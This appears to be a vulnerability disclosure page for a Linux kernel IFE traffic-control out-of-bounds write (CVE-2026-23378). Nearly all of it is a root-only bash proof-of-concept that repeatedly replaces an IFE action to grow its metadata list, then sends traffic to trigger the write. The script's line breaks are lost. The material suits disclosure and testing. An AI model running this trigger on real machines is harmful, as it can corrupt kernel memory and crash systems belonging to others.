CVE-2026-23378: Linux内核IFE模块越界写入漏洞

#!/bin/bash # PoC for CVE-2026-23378: IFE metalist OOB Write # This script demonstrates the trigger condition by repeatedly replacing IFE actions. # Requires root privileges to manipulate tc (traffic control). # Setup a dummy network interface for testing ip link add dummy0 type dummy ip link set dummy0 up # Add ingress qdisc to attach the filter tc qdisc add dev dummy0 handle ffff: ingress # Add initial IFE action with specific metadata tc filter add dev dummy0 parent ffff: protocol ip prio 1 \ action ife encode allow \ use mark 0xff echo "[+] Triggering the vulnerability by replacing the IFE action..." # The vulnerability occurs here: 'change' (replace) appends instead of replacing # Loop to cause the metalist to grow unboundedly for i in {1..1000}; do tc filter change dev dummy0 parent ffff: protocol ip prio 1 \ action ife encode allow \ use mark 0xff if [ $((i % 100)) -eq 0 ]; then echo "[-] Iteration $i: Metalist growing..." fi done echo "[+] Triggering encode operation (e.g., sending traffic)..." # Sending traffic might trigger the OOB write in ife_tlv_meta_encode ping -c 1 192.0.2.1 > /dev/null 2>&1 & # Cleanup tc qdisc del dev dummy0 ingress ip link del dummy0 echo "[+] Done. Check dmesg for KASAN: slab-out-of-bounds reports."